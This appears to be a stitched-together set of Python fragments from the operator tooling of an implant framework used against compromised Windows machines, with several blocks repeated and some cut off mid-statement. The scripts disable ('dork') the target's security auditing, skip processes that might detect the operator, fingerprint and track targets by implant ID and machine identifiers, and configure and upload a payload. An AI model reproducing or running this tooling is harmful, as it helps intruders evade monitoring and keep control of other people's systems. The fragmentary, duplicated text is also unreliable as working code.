messages) = ops.security.auditing.dork_auditing(dork_types=['security']) if (len(results) < 1): raise Exception('Failed to run the command to try to disable auditing') res = results[0] if (res.commandmetadata.isrunning == 1): ops.info(('Security auditing dorked, do not stop command %d or you will lose your blessing' % res.commandmetadata.id)) else: ops.error(('Dorking failed, see command %d for the reason.' % res.commandmetadata.id)) ops.warn('Note: Before attempting to say yes to the following question, you should see why the first one failed.\n\tIf it was "Pattern match of code failed", trying again won\'t help.') dork_all = dsz.ui.Prompt('Do you want to try dorking ALL auditing?', False) if dork_all: (results, messages) = ops.security.auditing.dork_auditing(dork_types=['all']) if (len(results) < 1): raise Exception('Failed to run the command to try to disable auditing') res = results[0] if (res.commandmetadata.isrunning == 1): ops.info(('ALL auditing dorked, do not stop command %d or you will lose your blessing' % res.commandmetadata.id)) else: ops.error(('Dorking failed, see command %d for the reason' % res.commandmetadata.id)) elif (not audit_status.status.audit_mode): ops.info('Auditing is already off, no need to dork') elif (len(logged_events) == 0): ops.info("Nothing is actually being audited, shouldn't need to dork") else: ops.info('Auditing is already dorked, not going to try a second time')
def print_agestring(data_age): if (data_age > datetime.timedelta(seconds=5)): ops.warn(('Data age: %s (from local cache, re-run manually if you need to)' % ops.agestring(data_age))) else: ops.warn(('Data age: %s - data is fresh' % ops.agestring(data_age)))
'--guimonitor', action='store_true', default=False, dest='guimonitor', help='Send to the DSZ monitor') (options, args) = parser.parse_args() comstr = ''.join(args) cmd = ops.cmd.getDszCommand(comstr, dszquiet=True, norecord=False) cmd.dszmonitor = options.guimonitor (safe, safetymsg) = cmd.safetyCheck() if (not safe): ops.error('Command safety check failed!') ops.error(('Failure: %s' % safetymsg)) if options.override: ops.warn( 'Someone chose to override this safety check, so this monitor will still be run. I hope they knew what they were doing' ) else: sys.exit((-1)) mondata = cmd.execute() voldb = ops.db.get_voldb() targetID = ops.project.getTargetID() if options.savetotarget: tdb = ops.db.get_tdb() if (mondata is not None): vol_cache_id = voldb.save_ops_object(mondata, tag=options.tag, targetID=targetID) if options.savetotarget: tdb_cache_id = tdb.save_ops_object(mondata, tag=options.tag) while mondata.commandmetadata.isrunning:
def main(options=None, args=None): tdb = ops.db.get_tdb() if (options is None): maxage = datetime.timedelta(seconds=0) else: maxage = datetime.timedelta(seconds=options.maxage) last_ifconfig = ops.networking.ifconfig.get_ifconfig(maxage=datetime.timedelta.max) cur_ifconfig = ops.networking.ifconfig.get_ifconfig(maxage=maxage) iface_adds = list() iface_removes = list() iface_changes = list() for old_iface in filter((lambda x: (x.type.lower() not in ['local', 'tunnel encapsulation'])), last_ifconfig.interfaceitem): match_iface = filter((lambda x: (x.address == old_iface.address)), cur_ifconfig.interfaceitem) if (len(match_iface) == 0): iface_removes.append(old_iface) else: (adds, removes) = compare_interface_ips(old_iface, match_iface[0]) if ((len(adds) + len(removes)) > 0): iface_changes.append((old_iface, match_iface[0])) if (old_iface.name != match_iface[0].name): iface_changes.append((old_iface, match_iface[0])) if (old_iface.dhcpenabled != match_iface[0].dhcpenabled): iface_changes.append((old_iface, match_iface[0])) if (old_iface.gateway.ip != match_iface[0].gateway.ip): iface_changes.append((old_iface, match_iface[0])) if (old_iface.enabled != match_iface[0].enabled): iface_changes.append((old_iface, match_iface[0])) for new_iface in filter((lambda x: (x.type.lower() not in ['local', 'tunnel encapsulation'])), cur_ifconfig.interfaceitem): match_iface = filter((lambda x: (x.address == new_iface.address)), last_ifconfig.interfaceitem) if (len(match_iface) == 0): iface_adds.append(new_iface) pretty_ip_list = list() for iface in filter((lambda x: (x.type.lower() not in ['local', 'tunnel encapsulation'])), cur_ifconfig.interfaceitem): for ipaddr in iface.ipaddress: if iface.dhcpenabled: dhcpinfo = iface.dhcp.ip else: dhcpinfo = 'Off' pretty_ip_list.append({'description': iface.description, 'ip': ipaddr.ip, 'mac': iface.address, 'gateway': iface.gateway.ip, 'netmask': iface.subnetmask, 'dhcp': ('%s' % dhcpinfo), 'name': iface.name}) if (cur_ifconfig.fixeddataitem.domainname != ''): fqdn = ('%s.%s' % (cur_ifconfig.fixeddataitem.hostname, cur_ifconfig.fixeddataitem.domainname)) else: fqdn = cur_ifconfig.fixeddataitem.hostname print ('FQDN: %s' % fqdn) print ('DNS Servers: %s' % ', '.join(map((lambda x: x.ip), cur_ifconfig.fixeddataitem.dnsservers.dnsserver))) ops.info(('Showing all non-local and non-tunnel encapsulation adapter information, see command %d for full interface list' % cur_ifconfig.commandmetadata.id)) ops.pprint.pprint(pretty_ip_list, header=['Description', 'MAC', 'IP', 'Netmask', 'Gateway', 'DHCP Server', 'Name'], dictorder=['description', 'mac', 'ip', 'netmask', 'gateway', 'dhcp', 'name']) if ((last_ifconfig.fixeddataitem.hostname != cur_ifconfig.fixeddataitem.hostname) or (last_ifconfig.fixeddataitem.domainname != cur_ifconfig.fixeddataitem.domainname)): ops.warn(('Host and/or domain name have changed, was %s.%s, not %s.%s' % (last_ifconfig.fixeddataitem.hostname, last_ifconfig.fixeddataitem.domainname, cur_ifconfig.fixeddataitem.hostname, cur_ifconfig.fixeddataitem.domainname))) if (len(iface_adds) > 0): ops.warn('New interfaces found') ops.warn('--------------------') for iface in iface_adds: print_iface(iface) if (len(iface_removes) > 0): ops.warn('Interfaces removed') ops.warn('------------------') for iface in iface_removes: print_iface(iface) if (len(iface_changes) > 0): ops.warn('Interface changes') ops.warn('-----------------') i = 1 for pair in iface_changes: ops.warn(('Change %d' % i)) ops.warn('Old version') print_iface(pair[0]) ops.warn('New version') print_iface(pair[1]) i += 1
ops.info('User ID cached in LP environment OPS_USERID.') else: oldid = ops.env.get('OPS_USERID', addr='') ops.env.set('OPS_USERID', options.userID, addr='') if (oldid is None): ops.info('User ID cached in LP environment OPS_USERID.') elif (oldid != options.userID): ops.info('Updated cached user ID in LP environment OPS_USERID.') if options.oldPayDir: options.payDir = options.oldPayDir installers = (((ops.cmd.get_filtered_command_list(isrunning=True, goodwords=['pc_install']) + ops.cmd.get_filtered_command_list(isrunning=True, goodwords=['pc2.2_install'])) + ops.cmd.get_filtered_command_list(isrunning=True, goodwords=['pc_upgrade'])) + ops.cmd.get_filtered_command_list(isrunning=True, goodwords=['pc2.2_upgrade'])) cpaddrs = [] for i in installers: cpaddrs.append(dsz.cmd.data.Get('commandmetadata::destination', dsz.TYPE_STRING, i)[0]) if (len(cpaddrs) != 1): ops.warn('Could not determine target CP address for OS information because there are multiple installers running.') ops.warn('Please select a target:') menu = ops.menu.Menu() menu.add_option('Manual CP entry') for i in cpaddrs: menu.add_option(i, section='pc_install/upgrade detected') result = menu.execute(menuloop=False) if (result['selection'] == 1): cpaddr = dsz.ui.GetString('Enter CP address') elif (result['selection'] == 0): print('Aborted.') sys.exit((-1)) else: cpaddr = result['option'] elif (len(cpaddrs) < 1): pass
def getTarget(cpaddr=None, forcenew=False, forceproj=None): if (cpaddr is None): cpaddr = dsz.script.Env['target_address'] targ_id = (ops.env.get('OPS_TARGET_ID', addr=cpaddr) if (not forcenew) else None) if (targ_id is not None): proj = Project(ops.env.get('OPS_PROJECTNAME', addr=cpaddr)) with proj.pdb as pdb: curs = pdb.execute('SELECT * FROM targets WHERE target_id = ?', (targ_id,)) targrow = curs.fetchone() if (targrow is not None): return Target(proj, dbrow=targrow) else: raise Exception('Have a target ID, but data not in database, something is wrong') else: ifconfig_cmd = ops.cmd.getDszCommand('ifconfig') ifconfig_cmd.dszdst = cpaddr ifconfig_result = ifconfig_cmd.execute() hostname = ifconfig_result.fixeddataitem.hostname macs = [] for iface in ifconfig_result.interfaceitem: if ((iface.address != '') and (iface.type.upper() != 'LOCAL') and (not iface.type.upper().startswith('TUNNEL'))): macs.append(iface.address.lower()) crypto_guid_cmd = ops.cmd.getDszCommand('registryquery', hive='L', key='software\\microsoft\\cryptography', value='MachineGuid', wow64=(ops.env.get('_OS_64BIT').upper() == 'TRUE')) crypto_guid_cmd.dszdst = cpaddr crypto_guid_result = crypto_guid_cmd.execute() if (crypto_guid_cmd.success and (len(crypto_guid_result.key) > 0) and (len(crypto_guid_result.key[0].value) > 0)): crypto_guid = crypto_guid_result.key[0].value[0].value else: crypto_guid = None implant_id = ops.env.get('_PC_ID', addr=cpaddr) mycandidates = (matchTarget(implant_id=implant_id, crypto_guid=crypto_guid, hostname=hostname, macs=macs) if (not forcenew) else None) mytarg = None if (len(mycandidates) == 0): mytarg = None elif (len(filter((lambda x: (x['confidence'] >= CONFIDENCE_MATCH_THRESHOLD)), mycandidates)) == 1): mytarg = mycandidates[0]['target'] else: print('Showing you what we know so you can make a good decision in the menu below') try: print((u'crypto_guid: %s' % crypto_guid)) print((u'hostname: %s' % hostname)) print((u'macs: %s' % macs)) print((u'implant_id: %s' % implant_id)) except: print('Well, I wanted to show you, but some kind of funky encoding issue has destroyed me') menu = ops.menu.Menu() menu.set_heading('Below match threshold or multiple matches. You must choose. Choose wisely.') for cand in mycandidates: menu.add_option(('(Confidence: %s) %s / %s / PC ID %s / %s / MACS: %s' % (cand['confidence'], cand['target'].project.name, cand['target'].hostname, cand['target'].implant_id, cand['target'].crypto_guid, cand['target'].macs))) result = menu.execute(menuloop=False, exit='None of these - create a new target db') if (result['selection'] == 0): mytarg = None else: mytarg = mycandidates[(result['selection'] - 1)]['target'] if (mytarg is None): if (forceproj is not None): projname = forceproj else: projnames = getAllProjectNames() if (len(projnames) == 1): projname = projnames[0] else: ops.warn('This looks like a new target, and I have no idea where to put it.') menu = ops.menu.Menu() for i in projnames: menu.add_option(i) result = menu.execute(menuloop=False, exit='Input project name manually') if (result['selection'] == 0): sure = False while (not sure): projname = dsz.ui.GetString('Enter project name: ') print(('You entered: %s' % projname)) sure = dsz.ui.Prompt('Are you absolutely sure this is correct?') else: projname = projnames[(result['selection'] - 1)] projectpath = os.path.join(ops.BASELOGDIR, projname, 'targetdbs') if (not os.path.exists(projectpath)): os.makedirs(projectpath) proj = Project(projname.lower()) mytarg = proj.add_target(implant_id=implant_id, crypto_guid=crypto_guid, hostname=hostname, macs=macs) ops.env.set('OPS_TARGET_ID', mytarg.target_id, addr=cpaddr) if (mytarg.project != Project()): ops.env.set('OPS_PROJECTNAME', mytarg.project.name, addr=cpaddr) mytarg.implant_id = implant_id mytarg.crypto_guid = crypto_guid mytarg.hostname = hostname mytarg.macs = macs mytarg.save(mytarg.project.pdb) tdb = ops.db.get_tdb(mytarg.target_id) tdb.save_ops_object(ifconfig_result, tag=IFCONFIG_TAG) tdb.truncate_cache_size_bytag(tag=IFCONFIG_TAG, maxsize=MAX_CACHE_SIZE) return mytarg
def main(): parser = OptionParser() parser.add_option('--status-only', dest='statusonly', action='store_true', default=False, help="Only show status, don't prompt about dorking") parser.add_option( '--maxage', dest='maxage', default='3600', help= 'Maximum age of auditing status information to use before re-running audit -status', type='int') (options, args) = parser.parse_args() if options.statusonly: ops.survey.print_header('Auditing status check, dorking will be later') else: ops.survey.print_header('Auditing dorking') last_status = ops.security.auditing.get_status(datetime.timedelta.max) audit_status = ops.security.auditing.get_status( datetime.timedelta(seconds=options.maxage)) ops.survey.print_agestring(audit_status.dszobjage) sysver = ops.system.systemversion.get_os_version(maxage=datetime.timedelta( seconds=86400)) logged_events = [] if (not audit_status.status.audit_mode): ops.info('Auditing is not enabled on this machine') else: ops.warn('Auditing is enabled on this machine') logged_events = filter( (lambda x: (x.audit_event_success or x.audit_event_failure)), audit_status.status.event) if (len(logged_events) > 0): if (sysver.versioninfo.major > 5): pprint(logged_events, dictorder=[ 'subcategory', 'audit_event_success', 'audit_event_failure' ], header=['Category', 'Success', 'Failure']) else: pprint(logged_events, dictorder=[ 'categorynative', 'audit_event_success', 'audit_event_failure' ], header=['Category', 'Success', 'Failure']) else: ops.info('But nothing is being logged') if ops.security.auditing.is_dorked(): target_addrs = ops.project.getCPAddresses() audit_cmds = ops.cmd.get_filtered_command_list( cpaddrs=target_addrs, isrunning=True, goodwords=['audit', '-disable']) cur_cmd = ops.data.getDszObject(cmdid=audit_cmds[0]) ops.warn(( 'Auditing is already dorked on this system. See command %d from session %s' % (cur_cmd.commandmetadata.id, cur_cmd.commandmetadata.destination))) if (last_status is not None): if (audit_status.status.audit_mode != last_status.status.audit_mode): ops.warn( 'Auditing status has changed on this target! Was %s, is now %s', (last_status.status.audit_mode, audit_status.status.audit_mode)) stamp = last_status.cache_timestamp ops.warn(('Date of prior status info was: %d-%d-%d %d:%d' % (stamp.year, stamp.month, stamp.day, stamp.hour, stamp.minute))) changes = [] for i in range(len(last_status.status.event)): levent = last_status.status.event[i] cevent = audit_status.status.event[i] if ((levent.audit_event_success != cevent.audit_event_success) or (levent.audit_event_failure != cevent.audit_event_failure)): changes.append(cevent) if (len(changes) > 0): ops.warn( 'Event auditing status has changed on this target! See below for details' ) if (sysver.versioninfo.major > 5): pprint(changes, dictorder=[ 'subcategory', 'audit_event_success', 'audit_event_failure' ], header=['Category', 'Success', 'Failure']) else: pprint(changes, dictorder=[ 'categorynative', 'audit_event_success', 'audit_event_failure' ], header=['Category', 'Success', 'Failure']) if options.statusonly: ops.info( 'The above is only being shown for informational purposes, you will be prompted about dorking later' ) return if (audit_status.status.audit_mode and (not ops.security.auditing.is_dorked()) and (len(logged_events) > 0)): do_dork = dsz.ui.Prompt('Do you want to dork security auditing?', True) if do_dork: dork_success = False (results, messages) = ops.security.auditing.dork_auditing( dork_types=['security']) if (len(results) < 1): raise Exception( 'Failed to run the command to try to disable auditing') res = results[0] if (res.commandmetadata.isrunning == 1): ops.info(( 'Security auditing dorked, do not stop command %d or you will lose your blessing' % res.commandmetadata.id)) else: ops.error(('Dorking failed, see command %d for the reason.' % res.commandmetadata.id)) ops.warn( 'Note: Before attempting to say yes to the following question, you should see why the first one failed.\n\tIf it was "Pattern match of code failed", trying again won\'t help.' ) dork_all = dsz.ui.Prompt( 'Do you want to try dorking ALL auditing?', False) if dork_all: (results, messages) = ops.security.auditing.dork_auditing( dork_types=['all']) if (len(results) < 1): raise Exception( 'Failed to run the command to try to disable auditing' ) res = results[0] if (res.commandmetadata.isrunning == 1): ops.info(( 'ALL auditing dorked, do not stop command %d or you will lose your blessing' % res.commandmetadata.id)) else: ops.error( ('Dorking failed, see command %d for the reason' % res.commandmetadata.id)) elif (not audit_status.status.audit_mode): ops.info('Auditing is already off, no need to dork') elif (len(logged_events) == 0): ops.info("Nothing is actually being audited, shouldn't need to dork") else: ops.info('Auditing is already dorked, not going to try a second time')
def main(args): bad = [] with open(BAD_PROCS) as input: for i in input: bad.append(i.strip().lower()) pids = [] dsz.control.echo.Off() cmd = 'processes -list' (succ, proccmdid) = dsz.cmd.RunEx(cmd, dsz.RUN_FLAG_RECORD) dsz.control.echo.On() procobject = None try: procobject = ops.data.getDszObject(cmdid=proccmdid, cmdname='processes') except: dsz.ui.Echo('There was an issue with the ops.data.getDszObject.', dsz.ERROR) return 0 ourpid = dsz.env.Get('_PID') dsz.ui.Echo('===========================================', dsz.WARNING) dsz.ui.Echo(('= We are currently executing from PID %s =' % ourpid), dsz.WARNING) dsz.ui.Echo('===========================================', dsz.WARNING) proclist = [] for process in procobject.initialprocesslistitem.processitem: if ((process.name == 'System') or (process.name == '') or (process.id == 0)): ops.info(('Skipping PID %s (%s)' % (process.id, process.name))) continue if (process.name.strip().lower() in bad): ops.warn(('Skipping PID %s (%s), something might catch us.' % (process.id, process.name))) continue proclist.append({'pid': process.id, 'name': process.name, 'path': process.path, 'user': process.user}) for proc in proclist: dsz.control.echo.Off() cmd = ('processinfo -id %s' % proc['pid']) (succ, cmdid) = dsz.cmd.RunEx(cmd, dsz.RUN_FLAG_RECORD) dsz.control.echo.On() if (not succ): ops.error(('Could not query process info for PID %s (%s)' % (proc['pid'], proc['name']))) else: ops.info(('Got processinfo for PID %s (%s)' % (proc['pid'], proc['name']))) procinfoobj = None try: procinfoobj = ops.data.getDszObject(cmdid=cmdid, cmdname='processinfo') except: dsz.ui.Echo('There was an issue with the ops.data.getDszObject. Please try re-running the command with the same parameters.', dsz.ERROR) return 0 modulelist = [] zerolist = [] for module in procinfoobj.processinfo.modules.module: outsiderange = False if (((module.baseaddress + module.imagesize) < module.entrypoint) or ((module.baseaddress > module.entrypoint) and (module.entrypoint != 0))): outsiderange = True dsz.ui.Echo(('\tFound module in %s which has an entrypoint outside the image' % proc['pid']), dsz.ERROR) dsz.ui.Echo(('\t\tName: %s' % module.modulename), dsz.ERROR) dsz.ui.Echo(('\t\tEntry Point: 0x%011x' % module.entrypoint), dsz.ERROR) dsz.ui.Echo(('\t\tImage Size: 0x%08x' % module.imagesize), dsz.ERROR) dsz.ui.Echo(('\t\tBase Address: 0x%011x' % module.baseaddress), dsz.ERROR) for checksum in module.checksum: if (checksum.type is None): continue dsz.ui.Echo(('\t\t\t%s: %s' % (checksum.type, checksum.value)), dsz.ERROR) elif ((module.entrypoint == 0) and (not checkzeroentry(module))): outsiderange = True sha1 = None for checksum in module.checksum: if (checksum.type is None): continue if (checksum.type == 'SHA1'): sha1 = checksum.value zerolist.append({'base': ('0x%011x' % module.baseaddress), 'img': ('0x%08x' % module.imagesize), 'entry': ('0x%011x' % module.entrypoint), 'modulename': module.modulename, 'sha1': sha1}) if (module.modulename == ''): entrypointoffset = None if (not outsiderange): entrypointoffset = ('0x%08x' % (module.entrypoint - module.baseaddress)) base = ('0x%011x' % module.baseaddress) imagesize = ('0x%08x' % module.imagesize) entrypoint = ('0x%011x' % module.entrypoint) modulelist.append({'base': base, 'img': imagesize, 'entry': entrypoint, 'modulename': module.modulename, 'entrypointoffset': entrypointoffset}) if (len(zerolist) > 0): dsz.ui.Echo('=======================================================', dsz.WARNING) dsz.ui.Echo(('= Found modules with entrypoint of 0x00000000 in %s =' % proc['pid']), dsz.WARNING) dsz.ui.Echo('=======================================================', dsz.WARNING) zerolist.sort(key=(lambda x: x['modulename'])) pprint(zerolist, ['Entry Point', 'Image Size', 'Base Address', 'Module Name', 'SHA1'], ['entry', 'img', 'base', 'modulename', 'sha1']) if (len(modulelist) > 0): if (int(proc['pid']) == int(ourpid)): dsz.ui.Echo('==========================================================', dsz.WARNING) dsz.ui.Echo(('= Found blank modules in %s, which matches our PID %s =' % (proc['pid'], ourpid)), dsz.WARNING) dsz.ui.Echo('==========================================================', dsz.WARNING) else: dsz.ui.Echo('=================================================================', dsz.ERROR) dsz.ui.Echo(('= Found blank modules in %s, which DOES NOT match our PID %s =' % (proc['pid'], ourpid)), dsz.ERROR) dsz.ui.Echo('=================================================================', dsz.ERROR) modulelist.sort(key=(lambda x: x['entry'])) pprint(modulelist, ['Entry Point', 'Image Size', 'Base Address', 'Entry Point Offset'], ['entry', 'img', 'base', 'entrypointoffset'])
parser = OptionParser() parser.add_option('-t', '--tag', action='store', type='string', default='', dest='tag', help='Cache-tag to save this under') parser.add_option('-s', '--save-to-target', action='store_true', default=False, dest='savetotarget', help='Save this to target.db in addition to voldb') parser.add_option('-i', '--interval', action='store', default=5, type='int', dest='interval', help='Update interval (in seconds)') parser.add_option('-o', '--override', action='store_true', default=False, dest='override', help='Override the safety check') parser.add_option('-g', '--guimonitor', action='store_true', default=False, dest='guimonitor', help='Send to the DSZ monitor') (options, args) = parser.parse_args() comstr = ''.join(args) cmd = ops.cmd.getDszCommand(comstr, dszquiet=True, norecord=False) cmd.dszmonitor = options.guimonitor (safe, safetymsg) = cmd.safetyCheck() if (not safe): ops.error('Command safety check failed!') ops.error(('Failure: %s' % safetymsg)) if options.override: ops.warn('Someone chose to override this safety check, so this monitor will still be run. I hope they knew what they were doing') else: sys.exit((-1)) mondata = cmd.execute() voldb = ops.db.get_voldb() targetID = ops.project.getTargetID() if options.savetotarget: tdb = ops.db.get_tdb() if (mondata is not None): vol_cache_id = voldb.save_ops_object(mondata, tag=options.tag, targetID=targetID) if options.savetotarget: tdb_cache_id = tdb.save_ops_object(mondata, tag=options.tag) while mondata.commandmetadata.isrunning: try: dsz.Sleep((options.interval * 1000)) mondata.update()
def getTarget(cpaddr=None, forcenew=False, forceproj=None): if (cpaddr is None): cpaddr = dsz.script.Env['target_address'] targ_id = (ops.env.get('OPS_TARGET_ID', addr=cpaddr) if (not forcenew) else None) if (targ_id is not None): proj = Project(ops.env.get('OPS_PROJECTNAME', addr=cpaddr)) with proj.pdb as pdb: curs = pdb.execute('SELECT * FROM targets WHERE target_id = ?', (targ_id, )) targrow = curs.fetchone() if (targrow is not None): return Target(proj, dbrow=targrow) else: raise Exception( 'Have a target ID, but data not in database, something is wrong' ) else: ifconfig_cmd = ops.cmd.getDszCommand('ifconfig') ifconfig_cmd.dszdst = cpaddr ifconfig_result = ifconfig_cmd.execute() hostname = ifconfig_result.fixeddataitem.hostname macs = [] for iface in ifconfig_result.interfaceitem: if ((iface.address != '') and (iface.type.upper() != 'LOCAL') and (not iface.type.upper().startswith('TUNNEL'))): macs.append(iface.address.lower()) crypto_guid_cmd = ops.cmd.getDszCommand( 'registryquery', hive='L', key='software\\microsoft\\cryptography', value='MachineGuid', wow64=(ops.env.get('_OS_64BIT').upper() == 'TRUE')) crypto_guid_cmd.dszdst = cpaddr crypto_guid_result = crypto_guid_cmd.execute() if (crypto_guid_cmd.success and (len(crypto_guid_result.key) > 0) and (len(crypto_guid_result.key[0].value) > 0)): crypto_guid = crypto_guid_result.key[0].value[0].value else: crypto_guid = None implant_id = ops.env.get('_PC_ID', addr=cpaddr) mycandidates = (matchTarget(implant_id=implant_id, crypto_guid=crypto_guid, hostname=hostname, macs=macs) if (not forcenew) else None) mytarg = None if (len(mycandidates) == 0): mytarg = None elif (len( filter((lambda x: (x['confidence'] >= CONFIDENCE_MATCH_THRESHOLD)), mycandidates)) == 1): mytarg = mycandidates[0]['target'] else: print( 'Showing you what we know so you can make a good decision in the menu below' ) try: print((u'crypto_guid: %s' % crypto_guid)) print((u'hostname: %s' % hostname)) print((u'macs: %s' % macs)) print((u'implant_id: %s' % implant_id)) except: print( 'Well, I wanted to show you, but some kind of funky encoding issue has destroyed me' ) menu = ops.menu.Menu() menu.set_heading( 'Below match threshold or multiple matches. You must choose. Choose wisely.' ) for cand in mycandidates: menu.add_option( ('(Confidence: %s) %s / %s / PC ID %s / %s / MACS: %s' % (cand['confidence'], cand['target'].project.name, cand['target'].hostname, cand['target'].implant_id, cand['target'].crypto_guid, cand['target'].macs))) result = menu.execute( menuloop=False, exit='None of these - create a new target db') if (result['selection'] == 0): mytarg = None else: mytarg = mycandidates[(result['selection'] - 1)]['target'] if (mytarg is None): if (forceproj is not None): projname = forceproj else: projnames = getAllProjectNames() if (len(projnames) == 1): projname = projnames[0] else: ops.warn( 'This looks like a new target, and I have no idea where to put it.' ) menu = ops.menu.Menu() for i in projnames: menu.add_option(i) result = menu.execute(menuloop=False, exit='Input project name manually') if (result['selection'] == 0): sure = False while (not sure): projname = dsz.ui.GetString('Enter project name: ') print(('You entered: %s' % projname)) sure = dsz.ui.Prompt( 'Are you absolutely sure this is correct?') else: projname = projnames[(result['selection'] - 1)] projectpath = os.path.join(ops.BASELOGDIR, projname, 'targetdbs') if (not os.path.exists(projectpath)): os.makedirs(projectpath) proj = Project(projname.lower()) mytarg = proj.add_target(implant_id=implant_id, crypto_guid=crypto_guid, hostname=hostname, macs=macs) ops.env.set('OPS_TARGET_ID', mytarg.target_id, addr=cpaddr) if (mytarg.project != Project()): ops.env.set('OPS_PROJECTNAME', mytarg.project.name, addr=cpaddr) mytarg.implant_id = implant_id mytarg.crypto_guid = crypto_guid mytarg.hostname = hostname mytarg.macs = macs mytarg.save(mytarg.project.pdb) tdb = ops.db.get_tdb(mytarg.target_id) tdb.save_ops_object(ifconfig_result, tag=IFCONFIG_TAG) tdb.truncate_cache_size_bytag(tag=IFCONFIG_TAG, maxsize=MAX_CACHE_SIZE) return mytarg
action = sys.argv[1] if (action == 'load'): loadHandlers() ops.info('Loaded safety handlers from previous op(s)') good = True elif (action == 'save'): saveHandlers() ops.info('Saved safety handlers for future op(s)') good = True elif (action == 'list'): listSafetyHandlers() good = True elif (len(sys.argv) == 3): action = sys.argv[1] plugin = sys.argv[2] if (action == 'clear'): clearSafetyHandler(plugin) good = True elif (len(sys.argv) == 4): action = sys.argv[1] plugin = sys.argv[2] handler = sys.argv[3] if (action == 'add'): addSafetyHandler(plugin, handler) good = True elif (action == 'delete'): removeSafetyHandler(plugin, handler) good = True if (not good): ops.warn('You called this wrong! Are you sure you should be doing this?') ops.info(_usage())
installers = (((ops.cmd.get_filtered_command_list( isrunning=True, goodwords=['pc_install']) + ops.cmd.get_filtered_command_list( isrunning=True, goodwords=['pc2.2_install'])) + ops.cmd.get_filtered_command_list( isrunning=True, goodwords=['pc_upgrade'])) + ops.cmd.get_filtered_command_list( isrunning=True, goodwords=['pc2.2_upgrade'])) cpaddrs = [] for i in installers: cpaddrs.append( dsz.cmd.data.Get('commandmetadata::destination', dsz.TYPE_STRING, i)[0]) if (len(cpaddrs) != 1): ops.warn( 'Could not determine target CP address for OS information because there are multiple installers running.' ) ops.warn('Please select a target:') menu = ops.menu.Menu() menu.add_option('Manual CP entry') for i in cpaddrs: menu.add_option(i, section='pc_install/upgrade detected') result = menu.execute(menuloop=False) if (result['selection'] == 1): cpaddr = dsz.ui.GetString('Enter CP address') elif (result['selection'] == 0): print('Aborted.') sys.exit((-1)) else: cpaddr = result['option'] elif (len(cpaddrs) < 1):
import dsz, dsz.ui, dsz.cmd import ops import traceback import globalconfig, sendfile import os, distutils.file_util, os.path, sys if (len(sys.argv) <= 1): eggname = dsz.ui.GetString('What is your UR/VAL name?') else: eggname = sys.argv[1] if (not dsz.cmd.Run('python Payload\\_Prep.py -args "-action configure" -project pc', dsz.RUN_FLAG_RECORD)): ops.error('Payload was not properly configured, bailing...') sys.exit((-1)) payloadfile = dsz.cmd.data.Get('Payload::File', dsz.TYPE_STRING)[0] uploadfilename = os.path.join(globalconfig.config['paths']['tmp'], ('%s_configured_egg' % eggname)) distutils.file_util.copy_file(payloadfile, uploadfilename) try: dsz.cmd.Run(('python lib\\sendfile.py -args " --destdir imps -i %s -o %s " -project Ops' % (uploadfilename, eggname))) except: ops.warn('Failed to send your payload to imps, error below') traceback.print_exc(sys.exc_info())
dsz.ui.Echo((wrapper['command'] if ('reason' not in wrapper.keys()) else ' - '.join([wrapper['command'], wrapper['reason']]))) dsz.ui.Echo(('-' * 50)) dsz.control.echo.On() ops.project.getTargetID() targ = ops.project.getTarget() logpath = ops.env.get('_LOGPATH') f = open(os.path.join(logpath, 'project.txt'), 'w') f.write(targ.project.name) f.close() ops.info(('Target ID completed, ID %s (in project %s)' % (targ.target_id, targ.project.name))) if ((targ.target_name is not None) and (targ.target_name != '')): ops.info(('Target name: %s' % targ.target_name)) actives = ops.project.getActiveCPAddresses(targ.target_id) addrs = ops.project.getCPAddresses(targ.target_id) if (len(actives) > 1): ops.warn('You are currently connected to this same target at the following CP addresses') for active in filter((lambda x: (x != dsz.script.Env['target_address'])), actives): print active if (len(addrs) > 1): ops.warn('You have been on this target previously with the following CP addresses') for addr in filter((lambda x: (x != dsz.script.Env['target_address'])), addrs): print addr print '====================================================================' ops.info('Showing ifconfig data so you can make sure you are on the correct target') ops.survey.ifconfig.main() dsz.cmd.Run(('survey -run %s -sections env-setup -quiet' % ops.survey.DEFAULT_CONFIG)) survey = True if (len(ops.project.getActiveCPAddresses()) > 1): print dsz.ui.Echo('I detect multiple connections to the current target.') survey = (not dsz.ui.Prompt('Would you like to skip the survey entirely (including display of cached information)?'))
dsz.control.echo.On() ops.project.getTargetID() targ = ops.project.getTarget() logpath = ops.env.get('_LOGPATH') f = open(os.path.join(logpath, 'project.txt'), 'w') f.write(targ.project.name) f.close() ops.info(('Target ID completed, ID %s (in project %s)' % (targ.target_id, targ.project.name))) if ((targ.target_name is not None) and (targ.target_name != '')): ops.info(('Target name: %s' % targ.target_name)) actives = ops.project.getActiveCPAddresses(targ.target_id) addrs = ops.project.getCPAddresses(targ.target_id) if (len(actives) > 1): ops.warn( 'You are currently connected to this same target at the following CP addresses' ) for active in filter((lambda x: (x != dsz.script.Env['target_address'])), actives): print active if (len(addrs) > 1): ops.warn( 'You have been on this target previously with the following CP addresses' ) for addr in filter((lambda x: (x != dsz.script.Env['target_address'])), addrs): print addr print '====================================================================' ops.info( 'Showing ifconfig data so you can make sure you are on the correct target') ops.survey.ifconfig.main()